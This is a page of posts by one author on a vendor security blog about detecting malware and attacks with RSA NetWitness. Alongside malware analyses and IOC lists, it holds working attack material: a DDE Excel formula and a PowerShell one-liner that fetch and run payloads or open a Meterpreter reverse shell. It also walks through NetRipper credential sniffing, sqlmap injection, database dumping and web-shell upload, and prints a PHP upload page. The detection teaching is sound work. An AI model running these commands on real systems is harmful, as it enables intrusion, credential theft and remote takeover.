Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > Authors Halim Abouzeid

MuddyWater is an APT group who's targets have mainly been in the Middle East, such as the Kingdom of Saudi Arabia, the United Arab Emirates, Jordan, Iraq ... with a focus on oil, military, telco and government entities.

 

The group is using Spear Phishing attacks as an initial vector. The email contains an attached word document which tries to trick the user into enabling macros. The attachment's filename and its content are usually tailored towards the target, such as the language used.

 

In the below example, we will look at the behavior of the following malware sample:

SHA-256: bfb4fc96c1ba657107c7c60845f6ab720634c8a9214943b5221378a37a8916cd

MD5: 16ac1a2c1e1c3b49e1a3a48fb71cc74f

 

Filetype: MS Word Document

 

 

Endpoint Behavior

This specific malware sample is for an Arabic speaking victim targeted at Jordan, where the filename "معلومات هامة.doc" can translate into "important information.doc". Other variants contain content in Turkish, Pakistani ...

 

The file shows blurry text in Arabic, with a message telling the target to enable content (and therefore macros) to unlock the content of the document.

 

Once the user clicks on "Enable Content", we're able to see the following behaviors on RSA NetWitness Endpoint.

 

1- The user opens the file. In this case, the file was opened from the Desktop folder, but if it was from his email, it would have shown from "outlook.exe" instead of "explorer.exe"

 

2- The malware uses "rundll32.exe" to execute the dropped file (C:\ProgranData\EventManager.log), allowing to evade detection

 

3- Powershell is then used to decode the payload of another dropped file ("C:\ProgramData\WindowsDefenderService.ini") and executes it. Having the full arguments of the Powershell command, it would be possible for the analyst to use it to decode the content of the "WindowsDefenderService.ini" file for further analysis

 

4- Powershell modifies the "Run" Registry key to run the payload at startup

 

5- Scheduled tasks are also created 

 

 

After this, the malware will continue execution after a restart (this might be as a layer of protection against sandboxes).

 

6- The infected machine is restarted

 

7- an additional powershell script "a.ps1" is dropped

 

8- Some of the Windows security settings are disabled (such as Windows Firewall, Antivirus, ...)

 

 

 

By looking at the network activity on the endpoint, we can see that powershell has generated a number of connections to multiple domains and IPs (possible C2 domains).

 

 

Network Behavior

To look into the network part in more details, we can leverage the captured network traffic on RSA NetWitness Network.

 

We can see, on RSA NetWitness Network, the communication from the infected machine (192.168.1.128) to multiple domains and IP addresses over HTTP that match what has been originating from powershell on RSA NetWitness Endpoint.

We can also see that most of the traffic is targeting "db-config-ini.php". From this, it seems that the attacker has compromised different legitimate websites, and the "db-config-ini.php" file is owned by the attacker.

 

Having the full payload of the session on RSA NetWitness network, we can reconstruct the session to confirm that it does in fact look like beaconing activity to a C2 server.

 

 

Even though the websites used might be legitimate (but compromised), we can still see suspicious indicators, such as:

  • POST request without a GET
  • Missing Headers
  • Suspicious / No User-Agent
  • High number of 404 Errors
  • ...

 

 

 

Conclusions

We can see how the attacker is using legitimate, trusted, and possibly white-listed modules, such as powershell and rundll32, to evade detection. The attacker is also using common file names for the dropped files and scripts, such as "EventManager" and "WindowsDefenderService" to avoid suspicion from analysts.

 

As shown in the below screenshot, even though "WmiPrvSE.exe" is a legitimate Microsoft files (it has a valid Microsot signature, as well as a known trusted hash value), but due to its behavioral activity (as shown in the Instant IOC section), we're able to assign a high behavioral score of 386. It should also be noted that any of the suspicious IIOCs that have been detected could trigger a real time alert over Syslog or E-Mail for early detection, even though the attacker is using advanced techniques to avoid detection.

 

 

 

Similarly, on the network, even though the attacker is leveraging (compromised) legitimate sites, and using standard known protocols (HTTP) and encrypted payloads, to avoid detection and suspicion, it is still possible to detect those suspicious behaviors using RSA NetWitness Network, and look for indicators such as Post no Get, suspicious user agents, missing headers, or other anomalies.

 

 

 

 

Indicators

The following are IOCs that can be used to look if activity from this APT currently exists in your environment.

This list is not exhaustive and is only based on what has been seen during this test.

 

Malware Hash

SHA-256: bfb4fc96c1ba657107c7c60845f6ab720634c8a9214943b5221378a37a8916cd

MD5: 16ac1a2c1e1c3b49e1a3a48fb71cc74f

 

Domains

  • wegallop.com
  • apidubai.ae
  • hmholdings360.co.za
  • alaqaba.com
  • triconfabrication.com
  • themotoringcalendar.co.za
  • nakoserum.com
  • mediaology.com.pk
  • goolineb2b.com
  • addorg.org
  • mumtazandbrohi.com
  • pmdpk.com
  • buy4you.pk
  • gcmbdin.edu.pk
  • mycogentrading.com
  • ipripak,org
  • botanikbahcesi.com
  • dailysportsgossips.com
  • ambiances-toiles.fr
  • britishofficefitout.com
  • canbeginsaat.com

 

IP Addresses

  • 195.229.192.139
  • 185.56.88.14
  • 196.40.100.202
  • 45.33.114.180
  • 173.212.229.48
  • 54.243.123.39
  • 196.41.137.185
  • 209.99.40.223
  • 192.185.166.227
  • 89.107.58.132
  • 86.107.58.132
  • 192.185.166.225
  • 192.185.75.15
  • 94.130.116.248
  • 192.169.82.62
  • 86.96.202.165
  • 196.40.100.204
  • 192.185.166.22
  • 5.250.241.18
  • 104.18.54.26
  • 217.160.0.2
  • 192.185.24.71
  • 185.82.222.239

A new variant of the SynAck ransomware has been seen in the wild using Process Doppleganging to evade detection. The malware has been seen in multiple geographies, including USA, Europe and the Middle East.

 

The blog below shows how RSA NetWitness Endpoint is able to detect the malicious behavior of SynAck even when the malware is using evasion techniques.

 

After getting infected with the malware, RSA NetWitness Endpoint, based on the detected behaviors of the malware, assigned a high risk score to the inftected machine (in this case, a score of 835 out of a maximum of 1024).

 

 

If we then look at the modules that are part of the malware, we can see:

- synack.exe with a high IIOC score, high Risk Score and a hash reputation tagged as "Malicious"

- Memory DLLs with high risk IIOC and Risk scores, which are the code loaded in memory to evade detection

- The text file that shows up to the victim once infected, also with a high IIOC score due to its behavior (set to be opened at startup)

 

The triggered behaviors by these processes can be seen below:

 

From this list we can point out a few, such as:

- "Suspected thread & Floating module", which as mentioned earlier refers to the DLLs loaded in memory to evade detection (but detected by RSA NetWitness Endpoint)

- "Autorun", this behavior is due to the readme file to display the directions to the victim on how to pay the ransom, as well as a copy of the msiexec.exe file with a valid Microsoft signature and hash stored in the App Data directory and set to run at startup

 

By looking at more details about the autorun settings in scanned data, we can see exactly what is configured to run at startup.

 

 

As for the Memory DLLs loaded by msiexec.exe showing in the Suspicious Threads:

 

 

 

If we now look at the information we have around the msiexec.exe module, we can see that even though it has a valid signature from Microsoft, its score has been increased by RSA NetWitness Endpoint due to multiple suspicious behaviors, such as:

- It's location in an unusual folder

- It modifies the registry key to run at startup

- Accesses a large number of documents in a short period of time (which is typical of ransomware due to the encryption of all the file)

 

 

By checking the path of msiexec.exe we can see that it is located in 2 locations, 1 of which is unusual (in "\AppData\Roaming\").

 

 

If we look at the tracking data we have for the malware, we can see the following behaviors.

1- the malware is manually executed

2- it then checks for running processes

3- it copies "msiexec.exe" to the "\AppData\Roaming\" folder

4- it kills excel.exe (which is one of the processes it watches to kill. among a longer list of 100+ processes)

5- it deletes the original dropper

6- it starts encrypting the documents

7- it modifies the run registry key to open a text file with the instruction on how to pay the ransom every time the workstation starts

8- it continues encrypting the documents

9- it opens the text file with the instructions on how to pay the ransom

 

The following is the message displayed to the user once the infection is completed.

 

 

 

This shows how RSA NetWitness Endpoint can detect an infection, and track behaviors of that malware, even when using advanced technique to evade detection.

BadRabbit is a new ransomware that has been targeting unsuspecting victims across Eastern Europe.  Upon infection, the malware tries to spread laterally via SMB and by trying to dump passwords using mimikatz.  It will then encrypt documents on the local machine, modify the MBR and reboot the machine making it impossible to boot without paying the ransom.

 

The following are examples of the visibility an enterprise that has RSA NetWitness Endpoint and Packets would have when a machine gets infected.

 

1st, from the perspective of RSA NetWitness packets, it is possible to see the SMB traffic generated by the infected machine, trying to login using a set of hard coded usernames and passwords (full list available here: BadRabbit credential dictionary - Pastebin.com ).

 

From the perspective of RSA NetWitness Endpoint, we can see the following:

 

We can identify the modules part of the attack.

- B4DD.tmp is a version of mimikatz to dump passwords using lsass.exe

- cscc.dat is a valid tool used for the encryption

- shutdown.exe is used by the malware to restart the machine

 

By analyzing those modules we can get bit more details.

For example, by analyzing dispci.exe we can see the extensions it looks for encryption:

 

As well as some of the encryption/decryption messages that would eventually popup to the user:

 

If we then look  at the triggered IIOCs and behaviors:

1- The malware is reading a large number of documents in a short period of time (typical ransomware behavior)

2- Reported as malicious by the reputation service (Reversing Labs)

 

If we want to look at more details for what has happened, we can look at the tracking data:

1- the different modules needed by the malware are dropped to disk

2- it removes any previous tasks installed by the malware (notice the name of the tasks referencing the names of the dragons in Game of Thrones)

3- new scheduled tasks are added to run the encryption with the victim's ID and then shutdown the machine

4- we then see B4DD.tmp (mimikatz) accessing lsass.exe to try and dump credentials

5- it then access all the documents with extensions that matches to get encrypted

 

6- it then deletes logs and events

7- and finally removes/adds scheduled tasks to restart the machine

 

Once the machine gets restarted, the victim is not able to boot to Windows and gets the following message:

 

 

This shows how RSA NetWitness Packets and Endpoint can help get early notification and detection for new breeds of malware without relying on known signatures, and how they can be used to easily look for IOCs and indicators to quickly respond and identify compromised machines.

 

Some Indicators that can be used

File Hashes:

de5c8d858e6e41da715dca1c019df0bfb92d32c0 (install_flash_player.exe)
afeee8b4acff87bc469a6f0364a81ae5d60a2add (dispci.exe)
79116fe99f2b421c52ef64097f0f39b815b20907 (infopub.dat)
413eba3973a15c1a6429d9f170f3e8287f98c21c (Mimikatz 32bit)
16605a4a29a101208457c47ebfde788487be788d (Mimikatz 64bit)

 

Domains:

1dnscontrol[.]com/flash_install.php
1dnscontrol[.]com/install_flash_player.exe

 

Usernames/Passwords (SMB):

BadRabbit credential dictionary - Pastebin.com 

There has recently been a reappearance of a method used to execute commands via malicious Excel files (and other office documents) without the need of Macros.

The method uses Dynamic Data Exchange (DDE), and what makes it interesting is that, even though it does causes prompt messages to appear, it doesn't use Macros and therefore it is less likely to be detected and blocked, and users are more likely to accept the prompts. In addition, as this is a "feature" and not a vulnerability, it is not something that will be patched, and cannot be easily prevented and blocked.

 

We will see how to perform a sample attack using DDE and then how easily it can be detected with RSA NetWitness Endpoint.

 

DDE Sample Attack

To execute a command using DDE, all we have to do is create an Excel file and use the following formula in one of the cells:

=cmd|' /c notepad'!A0

Once the user opens the file and accepts the prompts, notepad.exe will be launched.

 

To make the attack more interesting, we want to use the same method in conjunction with PowerShell to download and execute our payload (the payload "YGH.exe" is hosted on the "192.168.1.3" server):

=cmd|'/c powershell.exe -w hidden (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.1.3/YGH.exe\",\"c:\\Users\Public\\YGH.exe\");Start-Process \"c:\\Users\\Public\\YGH.exe\"'!A0

 

Once the victim opens the file, this is what he sees:

 

After accepting the 1st warning message, he sees a 2nd warning:

 

And finally the payload gets downloaded and executed:

 

 

In a real life scenario, the malware would have done something more stealthy, or provided remote access to the attacker instead of displaying a message.

 

 

 

 

Detection Using RSA NetWitness Endpoint

Now, from the RSA NetWitness Endpoint view, this would be detected very easily.

 

  1. IIOCs are triggered for Office running PowerShell and PowerShell downloading content. This could be used to generate real-time alerts via email and/or Syslog and get notified at an early stage of the attack.
  2. Excel is executed
  3. Excel launches "cmd.exe". From the command arguments we can see that cmd is used to launch powershell to download and execute a file called "YGH.exe" from the "192.168.1.3" server.
  4. PowerShell saves the YGH.exe file to disk
  5. PowerShell executed the YGH.exe file

 

 

 

This shows how an attack vector that can easily bypass traditional preventive solutions can be detected by RSA NetWitness Endpoint based on the monitored behavior of the user's workstation.

This has been detected even though Excel is an approved software with a valid trusted signature and the malware itself didn't perform any malicious activity (it only shows a message to the victim). It demonstrates early detection capabilities based on behavior before negative impact actually happens.

In this post, I will quickly go through some aspects of the WannaCry ransomware from the perspective of RSA NetWitness Endpoint and Packets. This would allow to help detect, investigate and analyze such compromises.

 

 

If we first look at the modules dropped by the malware, we can see 5 main modules.

4 of the modules are labeled as "Malicious" based on the reputation database.

We can also see that all of them have a relatively high IIOC score.

 

If we look at the below triggered IIOCs which caused those scores, we can see some behaviors typical of ransomware:

- "Deletes shadow volume copies" (to stop the recovery of encrypted files)

- "Rapidly reads multiple documents" (triggered during the encryption of the documents)

- "Modifies run key"(to run at startup)

- "Beacon" (due to communication with C2)

...

 

If we now analyse the @WannaDecryptor@.exe file (right click, Analyse Module), we can see some artifacts that can help us understand the behavior, such as:

- References to the generation of encryption keys ("CryptGenKey")

- Hard-coded commands, such as the deletion of the shadow volume copies using vssadmin

 

- Or even the list of file extensions the WannaCry ransomware looks for to encrypt

 

 

Now, to look how the WannaCry ransomware infects the machine, we can look at the tracking module, having visibility over the command line arguments as well, and check the behavior in chronological order:

- (1) It first drops the payloads

- (2) It then sets the directory as hidden (as reflected in the triggered IIOCs seen earlier) using "attrib.exe"

- (3) It grants full access to all users using "icacls.exe"

- It writes and executes a batch file and a vbs script

- (4) Documents start to get encrypted

 

If we continue looking at the behavior tracking, we can see that the malware starts copying the @WanaDecryptor@.exe file to multiple locations on disk:

 

 

Finally, once the encryption is completed, it does the following:

- (1) It executes the @WanaDecryptor@.exe file which displays the warning message and countdown to the user

- (2) It drops the files needed to run tor.exe, which is used to communicate with the C2

- (3) It modifies the run registry key

- (4) It deletes the shadow volume copies

 

 

 

If we now have a look from RSA NetWitness Packets' perspective, we can easily and quickly identify the following based on the default parsers and RSA Live Feeds:

- Tunneling using tor (in "Risk: Suspicious")

- Identify access to the tor network, C2 and Crimeware (in "Threat Category")

- The use of SMB and Netbios which is used by the malware to propagate itself

- Access to suspicious looking domain names

 

 

It would also be possible to reconstruct those sessions if needed.

NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption.

 

Basically, this can allow the attacker to sniff HTTPS and SSH traffic from his target in clear-text. This can help the attacker acquire additional information, such as usernames and passwords from the user once he authenticates to web applications (over HTTPS) or network devices (over SSH).

 

In this example we will see how to perform this attack using NetRipper (assuming that the attacker already has a meterpreter shell), and then see how RSA NetWitness Endpoint can help in detecting such attacks.

Throughout the POC, the victim had a fully patched version of Windows as well as an updated antivirus running (McAfee).

 

 

We are using:

- Kali Linux as the Attacker's machine

- Windows 7 with McAfee Antivirus as the victim (the same technique would work on Windows 10 as well)

 

 

 

Installation of NetRipper for Metasploit on Kali

Run the following commands on the Kali box to install NetRipper and make it available within Metasploit.

cp netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/netripper.rb
mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper
g++ -Wall netripper.cpp -o netripper
cp netripper /usr/share/metasploit-framework/modules/post/windows/gather/netripper/netripper
cd ../Release
cp DLL.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.dll

 

 

 

Launch the Attack

We will assume that the attacker already has a meterpreter shell.

 

The attacker can connect to the available session using "session -i 1" and he can then list running processes using "ps"

From here he can identify that firefox.exe and putty.exe are running.

The attacker will now decide to use NetRipper to sniff network traffic from firefox in clear-text, even when HTTPS is used.

 

He will load NetRipper by using the following command: use post/windows/gather/netripper

He can list the options needed with: show options

 

The attacker needs to:

- set the session ID to use (session 1 from the list of available sessions): set SESSION 1

- set the process names or process IDs he wants to hook to: set PROCESSNAMES firefox.exe,putty.exe

He can then launch the exploit using: exploit

 

Now that the hooks are set, NetRipper will sniff the traffic for those processes in clear-text and save the content on the victim's machine, by default under the current user's TEMP folder (can be changed with the DATAPATH option).

 

The victim will now try to authenticate to a web application over HTTPS. In this example we will use GMail, but it could be anything.

 

 

Now the attacker will read the content of the firefox.exe_PR_Write.txt file. Even though the victim is using HTTPS, the attacker is able to see both the username (someone@gmail.com) and the password (password123) of the victim in clear-text.

 

 

The same could be done with Chrome, Putty, SecureCRT, WinSCP, Lync, Outlook ...

It is also not limited to login information, but to anything sent or received by the process.

 

 

 

Detection Using RSA NetWitness Endpoint

Now that we have seen how easily an attacker can sniff encrypted traffic from the user via process hooking, bypassing the victim's antivirus, we will now see how to detect it using RSA NetWitness Endpoint.

 

In the below screenshot, we can see how RSA NWE detects:

- the hooked process (firefox.exe)

- the hooked module names

- the hooked symbols

- an elevated IIOC Score

- the list IIOCs that have been triggered

 

In addition, by analyzing the module, we can see references to NetRipper and to the files and folders used by the tool.

An SQL Injection attack is not only limited to dumping a database, but can also allow the attacker to upload files to the remote server and consequently gain remote access via a WebShell.

WebShells can receive commands from the attackers mainly using 2 methods:

  • based on GET requests, which can easily be detected through logs and SIEM solutions as the commands are visible in the URL
  • based on POST, which is a bit more stealthy as the commands are submitted in the payload and therefore not part of the logs

 

We will see how to:

  • use sqlmap to perform an SQL Injection attack
  • dump the database using sqlmap
  • use sqlmap to automatically provide WebShell access based on GET requests
  • use sqlmap to upload a custom and more advanced WebShell (b374k) which relies on POST

To test the SQL Injections, we will use the DVWA (Damn Vulnerable Web Application), which is a web application purposely built with vulnerabilities and weaknesses for pen-testing.

 

Then we will see how the RSA NetWitness Suite can help in identifying SQL Injections and WebShells (whether using POST or GET).

 

 

Performing the SQL Injection Attack

We first need to access the web application, in my case, it is located at http://192.168.1.128

 

To access the internal pages (which contains the vulnerable page), we first need to login. In a real life scenario, the vulnerability might not require authentication, or, the attacker could have gotten access to a valid user account through a phishing attack or brute-forcing. In our case, we will consider that we already have an account, admin/password.

Once logged in, we will go to the page which is vulnerable to SQL Injections. Again, in our case, we already know which page it is. Typically we could have use a web application vulnerability scanner to crawl the website and look for weaknesses.

 

To perform the attack, we will need 2 things:

  • The URL containing the parameters that need to be tested for vulnerabilities
  • The authentication cookie, as we need to be authenticated to be able to access the page, and therefore sqlmap will need to have access to reach the page

 

To get the cookie value, in Chrome,  it can be found in "Inspect --> Application --> Cookies"

 

We will now use this is sqlmap to test the page for SQL Injection vulnerabilities.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low"

sqlmap will try to identify the type of database as well as any parameter within the page vulnerable to SQL Injections. In our case, it identified that the "id" parameter is vulnerable and that the back-end database is MySQL.

 

We will now add the "--dbs" argument at the end of the command to list the available databases on the web server.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --dbs

 

sqlmap outputs the available databases. We want to look at the tables available under the "dvwa" database. To do that, we will replace "--dbs" with "-D dvwa --tables" to specifically list the tables of that database.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa --tables

 

sqlmap outputs the avialble tables. One of them is the "users" tables. We now want to output the columns of that table. To do that, we will replace "--tables" with "-T users --columns"

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa -T users --columns

 

We can see there are 2 columns of interest, "user" and "password". To dump the content of these tables, we will replace "--columns" with "-C user,password --dump"

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa -T users -C user,password --dump

 

sqlmap provides us with a list of usernames and password hashes. We can also see that sqlmap provides the option to store the hashes to try and crack them using a dictionary attack. We will answer "Y" to that and we will use the default dictionary.

 

sqlmap now shows the usernames with their respective clear-text passwords based on the dictionary attack.

This shows how sqlmap can be used to dump the content of a database. But sqlmap also provides the option to get shell access (via a WebShell).

 

 

 

 

Gaining WebShell Access with sqlmap

Using the same command structure, instead of listing databases, we will provide the "--os-shell" argument. This will make sqlmap upload a simple WebShell to the web server and interact with.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --os-shell

 

sqlmap will ask for some information regarding the language used by the web server. In our case it is PHP, so it knows to upload a PHP WebShell. We will also upload it to the default location (/xampp/htdocs/). We are provided with an interactive shell from which we can send commands and get the output back.

 

The problem with this type of WebShell is that it's very basic and uses GET requests, which can be easily detected using logs and SIEM solutions.

Next we will look how to upload our own files using sqlmap (instead of the default WebShell provided by sqlmap), such as the b374k WebShell.

 

 

 

Uploading Custom Files and WebShells using sqlmap

sqlmap allows to download and upload custom files. We will therefore use the "--file-write" and "--file-dest" parameters to upload our own files.

We will start by uploading a PHP upload page, from which we will be able to upload any file we want to the web server.

The following is the "upload.php" file:

<html>
<body>

<?php
$path_name = pathinfo($_SERVER['PHP_SELF']);
$this_script = $path_name['basename'];
?>

<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
File: <input name="file" type="file" /><br />
<input type="submit" value="Upload" /></form>

<?php

if (!empty($_FILES["file"]))
{
if ($_FILES["file"]["error"] > 0)
{echo "Error: " . $_FILES["file"]["error"] . "<br>";}
else
{echo "Stored file:".$_FILES["file"]["name"]."<br/>Size:".($_FILES["file"]["size"]/1024)." kB<br/>";
move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
}
}

// open this directory
$myDirectory = opendir(".");
// get each entry
while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory);
$indexCount = count($dirArray);
echo "$indexCount files<br/>";
sort($dirArray);

echo "<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks><TR><TH>Filename</TH><th>Filetype</th><th>Filesize</th></TR>\n";

for($index=0; $index < $indexCount; $index++)
{
if (substr("$dirArray[$index]", 0, 1) != ".")
{
echo "<TR>
<td><a href=\"$dirArray[$index]\">$dirArray[$index]</a></td>
<td>".filetype($dirArray[$index])."</td>
<td>".filesize($dirArray[$index])."</td>
</TR>";
}
}
echo "</TABLE>";
?>

</body>
</html>

Once we upload this file, we will be able to access it through a browser and use it to upload our WebShell.

To upload the "upload.php" file using sqlmap, we will use the following command:

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --file-dest="/xampp/htdocs/upload.php" --file-write="~/Desktop/upload.php"

In the above command, "/xampp/htdocs/upload.php" is the location where to write the file on the remote web server, and the "~/Desktop/upload.php" is the location of the WebShell on the local machine of the attacker.

 

Once uploaded, we can then access the upload page from a browser at the "http://192.168.1.128/upload.php" URL, from where we can upload the "b374k.php" WebShell (or any other file as well).

 

Once uploaded, we can then access the WebShell either by clicking on the filename in the list, or by browsing to http://192.168.1.128/b374k.php

We now have access to a more advanced WebShell which allows us to:

 

Browse the file system, download files, upload files ...

 

List running processes with the option to kill them.

 

Or have an interactive shell from where to execute commands.

 

And all of it from an easy to use, user friendly graphic interface.

And most importantly, using POST requests instead of GET, which allows the specific commands executed not to be detected by the web server logs.

 

 

 

 

Detection

Now that we have seen how to perform this attack, here are some ways to detect the different steps using the RSA NetWitness Suite.

 

Using RSA NetWitness Packets, it is possible to detect SQL Injection attempts, whether the tool is abusing parameters in the URL (GET) or from within forms (POST), as the whole payload is captured and analyzed, as opposed to only the URL. In the below example we can see that RSA NetWitness Packets was able to detect the SQL Injection.

 

 

Then, it is possible to identify the the actual WebShell file that is being used, as well as the commands executed by the attacker. RSA NetWitness Packets is also able to identify that the web session contains CLI commands, which is an indicator of WebShell activity.

 

 

Having the entire network payload, it is also possible to reconstruct the WebShell session and see the commands and outputs, providing insight into what the attacker was actually able to get.

 

 

Using RSA NetWitness Endpoint, we would also be able to see the web server service running CLI commands, which is a suspicious behavior and typical of WebShells. The tracking section would allow us to see the exact commands executed.

 

Using both packets and endpoint, we would be able to identify the SQL Injection, the WebShell files used as part of the attack and the exact commands executed by the attacker, providing the full scope of the attack to the analyst. 

This is not an RSA officially supported integration.

 

This script will sync the incidents of a specific RSA NetWitness user to his Todoist account. He can then leverage the Todoist integrations with the Amazon Echo, Google Home, IFTTT …

It can be setup for multiple users using different Todoist account (add one per line in the config file).

 

 

The open incidents of a user, as well as their severity will be synced with Todoist.

Whenever an incident is removed from the user’s queue in NW (either closed, or moved to another analyst), it will be set as closed on Todoist. Closing an incident on Todoist will not close it on NW IM, it will just re-appear the next time a synchronization is triggered.

 

 

 

 

 

What you will need

You will need the API Token from your Todoist Account (Settings --> Integration --> API Token)

 

 

You will need the Project Number from Todoist. This will define to which project the incidents will be added to. By default it should be on the Inbox (if you want it to work with the Amazon Echo for example). From your browser, go to Todoist, click on Inbox and grab the ID from the URL (do not take “2F”). If you want to sync with another project, then click on that project and grab the ID.

If you setup this script on a Todoist project that already has items, the existing items will get deleted.

 

You will also need the username on RSA NetWitness.

 

 

 

Setup

Edit the nwim2todoist.conf file and add a line for each user you wish to do the synchronization for.

There shouldn’t be any empty lines or extra spaces in the file.

The following is the format: <nw_username>,<todoist_api_token>,<todoist_project_id>

 

 

Put both nwim2todoist.py and nwim2todoist.conf in the same folder on the ESA Server

Make sure the ESA server has access to https://todoist.com

Edit nwim2todoist.conf to have a line for each user for who to sync his associated incidents with his Todoist account

 

 

 

Privacy

By default, the script will create an item on Todosit for each Incident called <INCIDENT ID> - <INCIDENT NAME>

If for privacy reasons you don’t want to sync the Incident Name and just have the Incident ID, then edit the nwim2todoist.py file and change hide_name from 0 to 1.

 

Example with Privacy enabled:

 

 

 

Run the Script

Simply execute: python nwim2todoist.py

Create a cron job to execute regularly.

 

 

 

Results

Example without Privacy:

 

 

Example with Privacy:

 

 

 

credit to Ian Cuthbertson

Fileless infection is a method used to compromise a system without writing any file to disk. This allows to remain stealthy and avoid detection from some antiviruses, EPP and EDR solutions that are file based for detection.

 

We will look at:

  • How to perform the attack
  • How to detect it with RSA NetWitness

 

 

 

Testing the Attack

The following is an example of how to perform such an attack, gaining a Meterpreter shell on the victim’s machine using Metsaploit (on the attacker’s side) and Powershell (on the victim’s side) without writing anything to disk.

I am using Kali Linux as the Attacker and Windows 7 as the victim.

1st we need to run Metasploit:

msfconsole

 

 

To deliver the PowerShell script, we will use exploit/multi/script/web_delivery

use exploit/multi/script/web_delivery
info

 

Metasploit would generate the ps1 file, start a webserver and host it for delivery. We will use PowerShell on the victim’s machine to download the script and meterpreter payload, and load it directly into memory without writing anything to disk.

Now we will look at the parameters that need to be configured:

show options

 

We need to:

  • Set “Target” to 2 for PSH (PowerShell)
  • Set “LHOST” to the IP of the attacker (in my case, 192.168.1.3)
  • Set the payload we want to use to get the reverse shell (I will use windows/meterpreter/reverse_tcp)

set target 2
set LHOST 192.168.1.3
set payload windows/meterpreter/reverse_tcp

 

We can now execute the payload:

exploit -j

 

 

To gain reverse shell on the victim, we just need to execute the following command (no malware installed, nothing will be written on disk, it will all happen from memory) by replacing the URL at the end with the one provided in the output of Metasploit under “Local IP” (with your IP address and the correct randomly generated filename):

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring(‘http://192.168.1.3:8080/VpBSRDO');

 

 

We can now see that we have an active session in Metasploit.

sessions

 

 

We could then load mimikatz in memory to dump passwords, without touching the disk.

session -i 1

load mimikatz

 

 

 

 

Detection

Visibility and detection of such attacks is possible using RSA NetWitness Packets and RSA NetWitness Endpoint.

 

Using RSA NetWitness Packets

Reconstruction of the initial PowerShell script based on full packet capture from the network traffic:

 

Reconstruction of the Meterpreter payload based on full packet capture from the network traffic:

 

 

 

 

Using RSA NetWitness Endpoint

 

Using RSA NetWitness Endpoint, it is possible to also have the needed visibility to detect this type of attack even when the network traffic is encrypted, using memory and module behavior analytics on the endpoint.

Suspicious Threads detected showing that PowerShell.exe loaded a DLL in memory (Meterpreter):

 

By doing static analysis on the in-memory modules, we can try to identify them. We can see strings related to mimikatz in one of the modules:

 

And the IP address and Port Number used by the Meterpreter payload hard coded in the second module:

 

We can also see suspicious behaviors and IOCs that have been triggered for PowerShell:

 

We can also track the behavior of the different processes on the victim’s machine to see how the attack is performed and what commands the attacker has issues after gaining access. In this case:

  • the initial PowerShell command to grab the hosted PowerShell script and load it in memory
  • the executed PowerShell script with all parameter that load the Meterpreter payload in memory
  • the commands executed by the attacker after he gains access (whoami, hostname, ipconfig, netstat -an)

 

Filter Blog

By date: By tag: